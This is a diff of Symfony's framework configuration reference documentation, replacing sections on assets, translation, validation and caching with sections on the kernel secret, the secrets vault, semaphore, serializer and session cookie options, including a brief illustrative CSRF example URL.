-                <framework:assets json-manifest-path="%kernel.project_dir%/public/build/manifest.json">
-                <!-- you can use absolute URLs too and Symfony will download them automatically -->
-                <!-- <framework:assets json-manifest-path="https://cdn.example.com/manifest.json"> -->
-                    <!-- this package uses its own manifest (the default file is ignored) -->
-                    <!-- Throws an exception when an asset is not found in the manifest -->
-                    <framework:package
-                        name="foo_package"
-                        json-manifest-path="%kernel.project_dir%/public/build/a_different_manifest.json" strict-mode="%kernel.debug%"/>
-                    <!-- this package uses the global manifest (the default file is used) -->
-                    <framework:package
-                        name="bar_package"
-                        base-path="/images"/>
-                </framework:assets>
-            </framework:config>
-        </container>
+This is a string that should be unique to your application and it's commonly
+used to add more entropy to security related operations. Its value should
+be a series of characters, numbers and symbols chosen randomly and the
+recommended length is around 32 characters.
 
-    .. code-block:: php
+In practice, Symfony uses this value for encrypting the cookies used
+in the :doc:`remember me functionality </security/remember_me>` and for
+creating signed URIs when using :ref:`ESI (Edge Side Includes) <edge-side-includes>`.
+That's why you should treat this value as if it were a sensitive credential and
+**never make it public**.
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+This option becomes the service container parameter named ``kernel.secret``,
+which you can use whenever the application needs an immutable random string
+to add more entropy.
 
-        return static function (FrameworkConfig $framework): void {
-            // ...
-            $framework->assets()
-                // this manifest is applied to every asset (including packages)
-                ->jsonManifestPath('%kernel.project_dir%/public/build/manifest.json');
+As with any other security-related parameter, it is a good practice to change
+this value from time to time. However, keep in mind that changing this value
+will invalidate all signed URIs and Remember Me cookies. That's why, after
+changing this value, you should regenerate the application cache and log
+out all the application users.
 
-            // you can use absolute URLs too and Symfony will download them automatically
-            // 'json_manifest_path' => 'https://cdn.example.com/manifest.json',
-            $framework->assets()->package('foo_package')
-                // this package uses its own manifest (the default file is ignored)
-                ->jsonManifestPath('%kernel.project_dir%/public/build/a_different_manifest.json')
-                // Throws an exception when an asset is not found in the manifest
-                ->setStrictMode('%kernel.debug%');
+secrets
+~~~~~~~
 
-            $framework->assets()->package('bar_package')
-                // this package uses the global manifest (the default file is used)
-                ->basePath('/images');
-        };
+decryption_env_var
+..................
 
-.. note::
+**type**: ``string`` **default**: ``base64:default::SYMFONY_DECRYPTION_SECRET``
 
-    This parameter cannot be set at the same time as ``version`` or ``version_strategy``.
-    Additionally, this option cannot be nullified at the package scope if a global manifest
-    file is specified.
+The env var name that contains the vault decryption secret. By default, this
+value will be decoded from base64.
 
-.. tip::
+enabled
+.......
 
-    If you request an asset that is *not found* in the ``manifest.json`` file, the original -
-    *unmodified* - asset path will be returned.
-    You can set ``strict_mode`` to ``true`` to get an exception when an asset is *not found*.
+**type**: ``boolean`` **default**: ``true``
 
-.. note::
+Whether to enable or not secrets managements.
 
-    If a URL is set, the JSON manifest is downloaded on each request using the `http_client`_.
+local_dotenv_file
+.................
 
-.. _reference-assets-strict-mode:
+**type**: ``string`` **default**: ``%kernel.project_dir%/.env.%kernel.environment%.local``
 
-strict_mode
-...........
+The path to the local ``.env`` file. This file must contain the vault
+decryption key, given by the ``decryption_env_var`` option.
 
-**type**: ``boolean`` **default**: ``false``
+vault_directory
+...............
 
-When enabled, the strict mode asserts that all requested assets are in the
-manifest file. This option is useful to detect typos or missing assets, the
-recommended value is ``%kernel.debug%``.
+**type**: ``string`` **default**: ``%kernel.project_dir%/config/secrets/%kernel.runtime_environment%``
 
-translator
-~~~~~~~~~~
+The directory to store the secret vault. By default, the path includes the value
+of the :ref:`kernel.runtime_environment <configuration-kernel-runtime-environment>`
+parameter.
 
-cache_dir
-.........
+semaphore
+~~~~~~~~~
 
-**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/translations``
+**type**: ``string`` | ``array``
 
-Defines the directory where the translation cache is stored. Use ``null`` to
-disable this cache.
+The default semaphore adapter. Store's DSN are also allowed.
 
-.. _reference-translator-enabled:
+.. _reference-semaphore-enabled:
 
 enabled
 .......
 
-**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
+**type**: ``boolean`` **default**: ``true``
 
-Whether or not to enable the ``translator`` service in the service container.
+Whether to enable the support for semaphore or not. This setting is
+automatically set to ``true`` when one of the child settings is configured.
 
-.. _fallback:
+.. _reference-semaphore-resources:
 
-fallbacks
+resources
 .........
 
-**type**: ``string|array`` **default**: value of `default_locale`_
+**type**: ``array``
 
-This option is used when the translation key for the current locale wasn't
-found.
+A map of semaphore stores to be created by the framework extension, with
+the name as key and DSN as value:
 
-.. seealso::
+.. configuration-block::
 
-    For more details, see :doc:`/translation`.
+    .. code-block:: yaml
 
-.. _reference-framework-translator-logging:
+        # config/packages/semaphore.yaml
+        framework:
+            semaphore: '%env(SEMAPHORE_DSN)%'
 
-logging
-.......
+    .. code-block:: xml
 
-**default**: ``true`` when the debug mode is enabled, ``false`` otherwise.
+        <!-- config/packages/semaphore.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-When ``true``, a log entry is made whenever the translator cannot find a translation
-for a given key. The logs are made to the ``translation`` channel at the
-``debug`` level for keys where there is a translation in the fallback
-locale, and the ``warning`` level if there is no translation to use at all.
+            <framework:config>
+                <framework:semaphore>
+                    <framework:resource name="default">%env(SEMAPHORE_DSN)%</framework:resource>
+                </framework:semaphore>
+            </framework:config>
+        </container>
 
-.. _reference-framework-translator-formatter:
+    .. code-block:: php
 
-formatter
-.........
+        // config/packages/semaphore.php
+        use Symfony\Config\FrameworkConfig;
 
-**type**: ``string`` **default**: ``translator.formatter.default``
+        return static function (FrameworkConfig $framework): void {
+            $framework->semaphore()
+                ->resource('default', ['%env(SEMAPHORE_DSN)%']);
+        };
 
-The ID of the service used to format translation messages. The service class
-must implement the :class:`Symfony\\Component\\Translation\\Formatter\\MessageFormatterInterface`.
+.. _reference-semaphore-resources-name:
 
-.. _reference-translator-paths:
+name
+""""
+
+**type**: ``prototype``
+
+Name of the semaphore you want to create.
+
+.. _configuration-framework-serializer:
+
+serializer
+~~~~~~~~~~
+
+.. _reference-serializer-circular_reference_handler:
 
-paths
-.....
+circular_reference_handler
+..........................
 
-**type**: ``array`` **default**: ``[]``
+**type** ``string``
 
-This option allows to define an array of paths where the component will look
-for translation files. The later a path is added, the more priority it has
-(translations from later paths overwrite earlier ones). Translations from the
-:ref:`default_path <reference-translator-default_path>` have more priority than
-translations from all these paths.
+The service id that is used as the circular reference handler of the default
+serializer. The service has to implement the magic ``__invoke($object)``
+method.
 
-.. _reference-translator-default_path:
+.. seealso::
 
-default_path
-............
+    For more information, see
+    :ref:`component-serializer-handling-circular-references`.
 
-**type**: ``string`` **default**: ``%kernel.project_dir%/translations``
+default_context
+...............
 
-This option allows to define the path where the application translations files
-are stored.
+**type**: ``array`` **default**: ``[]``
 
-.. _reference-translator-providers:
+A map with default context options that will be used with each ``serialize`` and ``deserialize``
+call. This can be used for example to set the json encoding behavior by setting ``json_encode_options``
+to a `json_encode flags bitmask`_.
 
-providers
-.........
+You can inspect the :ref:`serializer context builders <serializer-using-context-builders>`
+to discover the available settings.
 
-**type**: ``array`` **default**: ``[]``
+.. _reference-serializer-enable_annotations:
 
-This option enables and configures :ref:`translation providers <translation-providers>`
-to push and pull your translations to/from third party translation services.
+enable_attributes
+.................
 
-property_access
-~~~~~~~~~~~~~~~
+**type**: ``boolean`` **default**: ``true``
 
-magic_call
-..........
+Enables support for `PHP attributes`_ in the serializer component.
 
-**type**: ``boolean`` **default**: ``false``
+.. seealso::
 
-When enabled, the ``property_accessor`` service uses PHP's
-:ref:`magic __call() method <components-property-access-magic-call>` when
-its ``getValue()`` method is called.
+    See :ref:`the reference <reference-attributes-serializer>` for a list of supported annotations.
 
-magic_get
-.........
+.. _reference-serializer-enabled:
 
-**type**: ``boolean`` **default**: ``true``
+enabled
+.......
 
-When enabled, the ``property_accessor`` service uses PHP's
-:ref:`magic __get() method <components-property-access-magic-get>` when
-its ``getValue()`` method is called.
+**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
-magic_set
-.........
+Whether to enable the ``serializer`` service or not in the service container.
 
-**type**: ``boolean`` **default**: ``true``
+.. _reference-serializer-mapping:
 
-When enabled, the ``property_accessor`` service uses PHP's
-:ref:`magic __set() method <components-property-access-writing-to-objects>` when
-its ``setValue()`` method is called.
+mapping
+.......
 
-throw_exception_on_invalid_index
-................................
+.. _reference-serializer-mapping-paths:
 
-**type**: ``boolean`` **default**: ``false``
+paths
+"""""
 
-When enabled, the ``property_accessor`` service throws an exception when you
-try to access an invalid index of an array.
+**type**: ``array`` **default**: ``[]``
 
-throw_exception_on_invalid_property_path
-........................................
+This option allows to define an array of paths with files or directories where
+the component will look for additional serialization files.
 
-**type**: ``boolean`` **default**: ``true``
+.. _reference-serializer-name_converter:
 
-When enabled, the ``property_accessor`` service throws an exception when you
-try to access an invalid property path of an object.
+name_converter
+..............
 
-property_info
-~~~~~~~~~~~~~
+**type**: ``string``
 
-.. _reference-property-info-enabled:
+The name converter to use.
+The :class:`Symfony\\Component\\Serializer\\NameConverter\\CamelCaseToSnakeCaseNameConverter`
+name converter can enabled by using the ``serializer.name_converter.camel_case_to_snake_case``
+value.
 
-enabled
-.......
+.. seealso::
 
-**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
+    For more information, see :ref:`serializer-name-conversion`.
 
-.. _reference-validation:
+.. _config-framework-session:
 
-validation
-~~~~~~~~~~
+session
+~~~~~~~
 
-.. _reference-validation-auto-mapping:
+cache_limiter
+.............
 
-auto_mapping
-............
+**type**: ``string`` **default**: ``0``
 
-**type**: ``array`` **default**: ``[]``
+If set to ``0``, Symfony won't set any particular header related to the cache
+and it will rely on ``php.ini``'s `session.cache_limiter`_ directive.
 
-Defines the Doctrine entities that will be introspected to add
-:ref:`automatic validation constraints <automatic_object_validation>` to them:
+Unlike the other session options, ``cache_limiter`` is set as a regular
+:ref:`container parameter <configuration-parameters>`:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        framework:
-            validation:
-                auto_mapping:
-                    # an empty array means that all entities that belong to that
-                    # namespace will add automatic validation
-                    'App\Entity\': []
-                    'Foo\': ['Foo\Some\Entity', 'Foo\Another\Entity']
+        # config/services.yaml
+        parameters:
+            session.storage.options:
+                cache_limiter: 0
 
     .. code-block:: xml
 
-        <!-- config/packages/framework.xml -->
+        <!-- config/services.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:validation>
-                    <framework:auto-mapping>
-                        <framework:service namespace="App\Entity\"/>
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
 
-                        <framework:service namespace="Foo\">Foo\Some\Entity</framework:service>
-                        <framework:service namespace="Foo\">Foo\Another\Entity</framework:service>
-                    </framework:auto-mapping>
-                </framework:validation>
-            </framework:config>
+            <parameters>
+                <parameter key="session.storage.options" type="collection">
+                    <parameter key="cache_limiter">0</parameter>
+                </parameter>
+            </parameters>
         </container>
 
     .. code-block:: php
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework): void {
-            $framework->validation()
-                ->autoMapping()
-                    ->paths([
-                        'App\\Entity\\' => [],
-                        'Foo\\' => ['Foo\\Some\\Entity', 'Foo\\Another\\Entity'],
-                    ]);
-        };
-
-.. _reference-validation-enabled:
+        // config/services.php
+        $container->setParameter('session.storage.options', [
+            'cache_limiter' => 0,
+        ]);
 
-enabled
-.......
+Be aware that if you configure it, you'll have to set other session-related options
+as parameters as well.
 
-**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
+cookie_domain
+.............
 
-Whether or not to enable validation support.
+**type**: ``string``
 
-This option will automatically be set to ``true`` when one of the child
-settings is configured.
+This determines the domain to set in the session cookie.
 
-.. _reference-validation-enable_annotations:
+If not set, ``php.ini``'s `session.cookie_domain`_ directive will be relied on.
 
-enable_attributes
-.................
+cookie_httponly
+...............
 
 **type**: ``boolean`` **default**: ``true``
 
-If this option is enabled, validation constraints can be defined using `PHP attributes`_.
+This determines whether cookies should only be accessible through the HTTP
+protocol. This means that the cookie won't be accessible by scripting
+languages, such as JavaScript. This setting can effectively help to reduce
+identity theft through :ref:`XSS attacks <xss-attacks>`.
 
-translation_domain
-..................
+cookie_lifetime
+...............
 
-**type**: ``string | false`` **default**: ``validators``
+**type**: ``integer``
 
-The translation domain that is used when translating validation constraint
-error messages. Use false to disable translations.
+This determines the lifetime of the session - in seconds.
+Setting this value to ``0`` means the cookie is valid for
+the length of the browser session.
 
-.. _reference-validation-not-compromised-password:
+If not set, ``php.ini``'s `session.cookie_lifetime`_ directive will be relied on.
 
-not_compromised_password
-........................
+cookie_path
+...........
 
-The :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
-constraint makes HTTP requests to a public API to check if the given password
-has been compromised in a data breach.
+**type**: ``string``
 
-.. _reference-validation-not-compromised-password-enabled:
+This determines the path to set in the session cookie.
 
-enabled
-"""""""
+If not set, ``php.ini``'s `session.cookie_path`_ directive will be relied on.
 
-**type**: ``boolean`` **default**: ``true``
+cookie_samesite
+...............
 
-If you set this option to ``false``, no HTTP requests will be made and the given
-password will be considered valid. This is useful when you don't want or can't
-make HTTP requests, such as in ``dev`` and ``test`` environments or in
-continuous integration servers.
+**type**: ``string`` or ``null`` **default**: ``null``
 
-endpoint
-""""""""
+It controls the way cookies are sent when the HTTP request did not originate
+from the same domain that is associated with the cookies. Setting this option is
+recommended to mitigate `CSRF security attacks`_.
 
-**type**: ``string`` **default**: ``null``
+By default, browsers send all cookies related to the domain of the HTTP request.
+This may be a problem for example when you visit a forum and some malicious
+comment includes a link like ``https://some-bank.com/?send_money_to=attacker&amount=1000``.
+If you were previously logged into your bank website, the browser will send all
+those cookies when making that HTTP request.
 
-By default, the :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
-constraint uses the public API provided by `haveibeenpwned.com`_. This option
-allows to define a different, but compatible, API endpoint to make the password
-checks. It's useful for example when the Symfony application is run in an
-intranet without public access to the internet.
+The possible values for this option are:
+
+* ``null``, use ``php.ini``'s `session.cookie_samesite`_ directive.
+* ``'none'`` (or the ``Symfony\Component\HttpFoundation\Cookie::SAMESITE_NONE`` constant), use it to allow
+  sending of cookies when the HTTP request originated from a different domain
+  (previously this was the default behavior of null, but in newer browsers ``'lax'``
+  would be applied when the header has not been set)
+* ``'strict'`` (or the ``Cookie::SAMESITE_STRICT`` constant), use it to never
+  send any cookie when the HTTP request did not originate from the same domain.
+* ``'lax'`` (or the ``Cookie::SAMESITE_LAX`` constant), use it to allow sending
+  cookies when the request originated from a different domain, but only when the
+  user consciously made the request (by clicking a link or submitting a form
+  with the ``GET`` method).
 
-static_method
+cookie_secure
 .............
 
-**type**: ``string | array`` **default**: ``['loadValidatorMetadata']``
-
-Defines the name of the static method which is called to load the validation
-metadata of the class. You can define an array of strings with the names of
-several methods. In that case, all of them will be called in that order to load
-the metadata.
-
-.. _reference-validation-email_validation_mode:
-
-email_validation_mode
-.....................
+**type**: ``boolean`` or ``'auto'``
 
-**type**: ``string`` **default**: ``html5``
+This determines whether cookies should only be sent over secure connections. In
+addition to ``true`` and ``false``, there's a special ``'auto'`` value that
+means ``true`` for HTTPS requests and ``false`` for HTTP requests.
 
-Sets the default value for the
-:ref:`"mode" option of the Email validator <reference-constraint-email-mode>`.
+If not set, ``php.ini``'s `session.cookie_secure`_ directive will be relied on.
 
-.. _reference-validation-mapping:
+.. _reference-session-enabled:
 
-mapping
+enabled
 .......
 
-.. _reference-validation-mapping-paths:
-
-paths
-"""""
-
-**type**: ``array`` **default**: ``['config/validation/']``
+**type**: ``boolean`` **default**: ``true``
 
-This option allows to define an array of paths with files or directories where
-the component will look for additional validation files:
+Whether to enable the session support in the framework.
 
 .. configuration-block::
 
@@ -2833,10 +3003,8 @@ the component will look for additional validation files:
 
         # config/packages/framework.yaml
         framework:
-            validation:
-                mapping:
-                    paths:
-                        - "%kernel.project_dir%/config/validation/"
+            session:
+                enabled: true
 
     .. code-block:: xml
 
@@ -2850,11 +3018,7 @@ the component will look for additional validation files:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:validation>
-                    <framework:mapping>
-                        <framework:path>%kernel.project_dir%/config/validation/</framework:path>
-                    </framework:mapping>
-                </framework:validation>
+                <framework:session enabled="true"/>
             </framework:config>
         </container>
 
@@ -2864,152 +3028,163 @@ the component will look for additional validation files:
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->validation()
-                ->mapping()
-                    ->paths(['%kernel.project_dir%/config/validation/']);
+            $framework->session()
+                ->enabled(true);
         };
 
-annotations
-~~~~~~~~~~~
-
-.. _reference-annotations-cache:
-
-cache
-.....
+gc_divisor
+..........
 
-**type**: ``string`` **default**: ``php_array``
+**type**: ``integer``
 
-This option can be one of the following values:
+See `gc_probability`_.
 
-php_array
-    Use a PHP array to cache annotations in memory
-file
-    Use the filesystem to cache annotations
-none
-    Disable the caching of annotations
+If not set, ``php.ini``'s `session.gc_divisor`_ directive will be relied on.
 
-file_cache_dir
+gc_maxlifetime
 ..............
 
-**type**: ``string`` **default**: ``%kernel.cache_dir%/annotations``
-
-The directory to store cache files for annotations, in case
-``annotations.cache`` is set to ``'file'``.
-
-debug
-.....
-
-**type**: ``boolean`` **default**: ``%kernel.debug%``
-
-Whether to enable debug mode for caching. If enabled, the cache will
-automatically update when the original file is changed (both with code and
-annotation changes). For performance reasons, it is recommended to disable
-debug mode in production, which will happen automatically if you use the
-default value.
-
-.. _configuration-framework-serializer:
-
-serializer
-~~~~~~~~~~
-
-.. _reference-serializer-enabled:
+**type**: ``integer``
 
-enabled
-.......
+This determines the number of seconds after which data will be seen as "garbage"
+and potentially cleaned up. Garbage collection may occur during session
+start and depends on `gc_divisor`_ and `gc_probability`_.
 
-**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
+If not set, ``php.ini``'s `session.gc_maxlifetime`_ directive will be relied on.
 
-Whether to enable the ``serializer`` service or not in the service container.
+gc_probability
+..............
 
-.. _reference-serializer-enable_annotations:
+**type**: ``integer``
 
-enable_attributes
-.................
+This defines the probability that the garbage collector (GC) process is
+started on every session initialization. The probability is calculated by
+using ``gc_probability`` / ``gc_divisor``, e.g. 1/100 means there is a 1%
+chance that the GC process will start on each request.
 
-**type**: ``boolean`` **default**: ``true``
+If not set, Symfony will use the value of the `session.gc_probability`_ directive
+in the ``php.ini`` configuration file.
 
-Enables support for `PHP attributes`_ in the serializer component.
+.. versionadded:: 7.2
 
-.. seealso::
+    Relying on ``php.ini``'s directive as default for ``gc_probability`` was
+    introduced in Symfony 7.2.
 
-    See :ref:`the reference <reference-attributes-serializer>` for a list of supported annotations.
+.. _config-framework-session-handler-id:
 
-.. _reference-serializer-name_converter:
+handler_id
+..........
 
-name_converter
-..............
+**type**: ``string`` | ``null`` **default**: ``null``
 
-**type**: ``string``
+If ``framework.session.save_path`` is not set, the default value of this option
+is ``null``, which means to use the session handler configured in php.ini. If the
+``framework.session.save_path`` option is set, then Symfony stores sessions using
+the native file session handler.
 
-The name converter to use.
-The :class:`Symfony\\Component\\Serializer\\NameConverter\\CamelCaseToSnakeCaseNameConverter`
-name converter can enabled by using the ``serializer.name_converter.camel_case_to_snake_case``
-value.
+It is possible to :ref:`store sessions in a database <session-database>`,
+and also to configure the session handler with a DSN:
 
-.. seealso::
+.. configuration-block::
 
-    For more information, see :ref:`serializer-name-conversion`.
+    .. code-block:: yaml
 
-.. _reference-serializer-circular_reference_handler:
+        # config/packages/framework.yaml
+        framework:
+            session:
+                # a few possible examples
+                handler_id: 'redis://localhost'
+                handler_id: '%env(REDIS_URL)%'
+                handler_id: '%env(DATABASE_URL)%'
+                handler_id: 'file://%kernel.project_dir%/var/sessions'
 
-circular_reference_handler
-..........................
+    .. code-block:: xml
 
-**type** ``string``
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <!-- a few possible examples -->
+                <framework:session enabled="true"
+                    handler-id="redis://localhost"
+                    handler-id="%env(REDIS_URL)%"
+                    handler-id="%env(DATABASE_URL)%"
+                    handler-id="file://%kernel.project_dir%/var/sessions"/>
+            </framework:config>
+        </container>
 
-The service id that is used as the circular reference handler of the default
-serializer. The service has to implement the magic ``__invoke($object)``
-method.
+    .. code-block:: php
 
-.. seealso::
+        // config/packages/framework.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
+        use Symfony\Config\FrameworkConfig;
 
-    For more information, see
-    :ref:`component-serializer-handling-circular-references`.
+        return static function (FrameworkConfig $framework): void {
+            // ...
 
-.. _reference-serializer-mapping:
+            $framework->session()
+                // a few possible examples
+                ->handlerId('redis://localhost')
+                ->handlerId(env('REDIS_URL'))
+                ->handlerId(env('DATABASE_URL'))
+                ->handlerId('file://%kernel.project_dir%/var/sessions');
+        };
 
-mapping
-.......
+.. note::
 
-.. _reference-serializer-mapping-paths:
+    Supported DSN protocols are the following:
 
-paths
-"""""
+    * ``file``
+    * ``redis``
+    * ``rediss`` (Redis over TLS)
+    * ``memcached`` (requires :doc:`symfony/cache </components/cache>`)
+    * ``pdo_oci`` (requires :doc:`doctrine/dbal </doctrine/dbal>`)
+    * ``mssql``
+    * ``mysql``
+    * ``mysql2``
+    * ``pgsql``
+    * ``postgres``
+    * ``postgresql``
+    * ``sqlsrv``
+    * ``sqlite``
+    * ``sqlite3``
 
-**type**: ``array`` **default**: ``[]``
+.. _reference-session-metadata-update-threshold:
 
-This option allows to define an array of paths with files or directories where
-the component will look for additional serialization files.
+metadata_update_threshold
+.........................
 
-default_context
-...............
+**type**: ``integer`` **default**: ``0``
 
-**type**: ``array`` **default**: ``[]``
+This is how many seconds to wait between updating/writing the session metadata.
+This can be useful if, for some reason, you want to limit the frequency at which
+the session persists, instead of doing that on every request.
 
-A map with default context options that will be used with each ``serialize`` and ``deserialize``
-call. This can be used for example to set the json encoding behavior by setting ``json_encode_options``
-to a `json_encode flags bitmask`_.
+.. _name:
 
-You can inspect the :ref:`serializer context builders <serializer-using-context-builders>`
-to discover the available settings.
+name
+....
 
-php_errors
-~~~~~~~~~~
+**type**: ``string``
 
-log
-...
+This specifies the name of the session cookie.
 
-**type**: ``boolean`` | ``int`` | ``array<int, string>`` **default**: ``true``
+If not set, ``php.ini``'s `session.name`_ directive will be relied on.
 
-Use the application logger instead of the PHP logger for logging PHP errors.
-When an integer value is used, it defines a bitmask of PHP errors that will
-be logged. Those integer values must be the same used in the
-`error_reporting PHP option`_. The default log levels will be used for each
-PHP error.
-When a boolean value is used, ``true`` enables logging for all PHP errors
-while ``false`` disables logging entirely.
+save_path
+.........
 
-This option also accepts a map of PHP errors to log levels:
+**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/sessions``
+
+This determines the argument to be passed to the save handler. If you choose
+the default file handler, this is the path where the session files are created.
+
+If ``null``, ``php.ini``'s `session.save_path`_ directive will be relied on:
 
 .. configuration-block::
 
@@ -3017,23 +3192,8 @@ This option also accepts a map of PHP errors to log levels:
 
         # config/packages/framework.yaml
         framework:
-            php_errors:
-                log:
-                    !php/const \E_DEPRECATED: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_USER_DEPRECATED: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_NOTICE: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_USER_NOTICE: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_STRICT: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_WARNING: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_USER_WARNING: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_COMPILE_WARNING: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_CORE_WARNING: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_USER_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
-                    !php/const \E_RECOVERABLE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
-                    !php/const \E_COMPILE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
-                    !php/const \E_PARSE: !php/const Psr\Log\LogLevel::CRITICAL
-                    !php/const \E_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
-                    !php/const \E_CORE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+            session:
+                save_path: ~
 
     .. code-block:: xml
 
@@ -3047,322 +3207,267 @@ This option also accepts a map of PHP errors to log levels:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <!-- in XML configuration you cannot use PHP constants as the value of
-                     the 'type' attribute, which makes this format way less readable.
-                     Consider using YAML or PHP for this configuration -->
-                <framework:log type="8" logLevel="error"/>
-                <framework:log type="2" logLevel="error"/>
-                <!-- ... -->
+                <framework:session save-path="null"/>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        use Psr\Log\LogLevel;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->phpErrors()->log(\E_DEPRECATED, LogLevel::ERROR);
-            $framework->phpErrors()->log(\E_USER_DEPRECATED, LogLevel::ERROR);
-            // ...
+            $framework->session()
+                ->savePath(null);
         };
 
-throw
-.....
-
-**type**: ``boolean`` **default**: ``%kernel.debug%``
-
-Throw PHP errors as ``\ErrorException`` instances. The parameter
-``debug.error_handler.throw_at`` controls the threshold.
-
-.. _reference-cache:
-
-cache
-~~~~~
-
-.. _reference-cache-app:
-
-app
-...
-
-**type**: ``string`` **default**: ``cache.adapter.filesystem``
+sid_bits_per_character
+......................
 
-The cache adapter used by the ``cache.app`` service. The FrameworkBundle
-ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.system``,
-``cache.adapter.filesystem``, ``cache.adapter.psr6``, ``cache.adapter.redis``,
-``cache.adapter.memcached``, ``cache.adapter.pdo`` and
-``cache.adapter.doctrine_dbal``.
+**type**: ``integer``
 
-There's also a special adapter called ``cache.adapter.array`` which stores
-contents in memory using a PHP array and it's used to disable caching (mostly on
-the ``dev`` environment).
+This determines the number of bits in the encoded session ID character. The possible
+values are ``4`` (0-9, a-f), ``5`` (0-9, a-v), and ``6`` (0-9, a-z, A-Z, "-", ",").
+The more bits results in stronger session ID. ``5`` is recommended value for
+most environments.
 
-.. tip::
+If not set, ``php.ini``'s `session.sid_bits_per_character`_ directive will be relied on.
 
-    It might be tough to understand at the beginning, so to avoid confusion
-    remember that all pools perform the same actions but on different medium
-    given the adapter they are based on. Internally, a pool wraps the definition
-    of an adapter.
+.. deprecated:: 7.2
 
-.. _reference-cache-system:
+    The ``sid_bits_per_character`` option was deprecated in Symfony 7.2. No alternative
+    is provided as PHP 8.4 has deprecated the related option.
 
-system
-......
+sid_length
+..........
 
-**type**: ``string`` **default**: ``cache.adapter.system``
+**type**: ``integer``
 
-The cache adapter used by the ``cache.system`` service. It supports the same
-adapters available for the ``cache.app`` service.
+This determines the length of session ID string, which can be an integer between
+``22`` and ``256`` (both inclusive), ``32`` being the recommended value. Longer
+session IDs are harder to guess.
 
-directory
-.........
+If not set, ``php.ini``'s `session.sid_length`_ directive will be relied on.
 
-**type**: ``string`` **default**: ``%kernel.cache_dir%/pools``
+.. deprecated:: 7.2
 
-The path to the cache directory used by services inheriting from the
-``cache.adapter.filesystem`` adapter (including ``cache.app``).
+    The ``sid_length`` option was deprecated in Symfony 7.2. No alternative is
+    provided as PHP 8.4 has deprecated the related option.
 
-default_doctrine_provider
-.........................
+.. _storage_id:
 
-**type**: ``string``
+storage_factory_id
+..................
 
-The service name to use as your default Doctrine provider. The provider is
-available as the ``cache.default_doctrine_provider`` service.
+**type**: ``string`` **default**: ``session.storage.factory.native``
 
-default_psr6_provider
-.....................
+The service ID used for creating the ``SessionStorageInterface`` that stores
+the session. This service is available in the Symfony application via the
+``session.storage.factory`` service alias. The class has to implement
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageFactoryInterface`.
+To see a list of all available storages, run:
 
-**type**: ``string``
+.. code-block:: terminal
 
-The service name to use as your default PSR-6 provider. It is available as
-the ``cache.default_psr6_provider`` service.
+    $ php bin/console debug:container session.storage.factory.
 
-default_redis_provider
-......................
+use_cookies
+...........
 
-**type**: ``string`` **default**: ``redis://localhost``
+**type**: ``boolean``
 
-The DSN to use by the Redis provider. The provider is available as the ``cache.default_redis_provider``
-service.
+This specifies if the session ID is stored on the client side using cookies or
+not.
 
-default_memcached_provider
-..........................
